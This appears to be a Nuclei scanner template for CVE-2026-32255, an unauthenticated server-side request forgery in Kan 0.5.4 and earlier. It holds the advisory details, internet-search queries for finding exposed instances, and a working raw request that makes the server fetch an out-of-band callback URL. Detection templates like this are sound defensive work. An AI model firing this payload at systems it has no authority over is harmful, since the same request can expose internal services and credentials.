Kan <= 0.5.4 - Server-Side Request Forgery

id: CVE-2026-32255

info:
  name: Kan <= 0.5.4 - Server-Side Request Forgery
  author: prithvee07
  severity: high
  description: |
    Kan, an open-source project management tool (Trello alternative), versions 0.5.4 and below are vulnerable to an unauthenticated Server-Side Request Forgery in the /api/download/attatchment endpoint. The endpoint passes the attacker-controlled `url` query parameter straight to a server-side fetch() without validating the destination host, allowing an unauthenticated attacker to make the server issue arbitrary outbound HTTP requests and read back the full response body.
  impact: |
    Unauthenticated attackers can force the server to issue requests to internal-only services, such as cloud metadata endpoints or internal APIs, and read the complete response body, potentially exposing credentials, configuration data, and other sensitive internal information.
  remediation: |
    Upgrade Kan to version 0.5.5 or later, which validates the requested host against the configured S3_ENDPOINT before making the upstream request.
  reference:
    - https://github.com/kanbn/kan/security/advisories/GHSA-qrx8-9hc6-jvqg
    - https://github.com/kanbn/kan/commit/53397d8e81dc1494d94132848c1f0416f1152bd7
    - https://github.com/kanbn/kan/releases/tag/v0.5.5
    - https://github.com/kOaDT/poc-cve-2026-32255
    - https://nvd.nist.gov/vuln/detail/CVE-2026-32255
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-32255
    epss-score: 0.09049
    epss-percentile: 0.9486
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    vendor: kanbn
    product: kan
    shodan-query: http.title:"Kan"
    fofa-query: title="Kan" && body="_next"
  tags: cve,cve2026,kan,ssrf,unauth,oast

http:
  - raw:
      - |
        GET /api/download/attatchment?url=http://{{interactsh-url}}/{{randstr}}&filename={{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "filename=\"{{randstr}}\"")'
        condition: and
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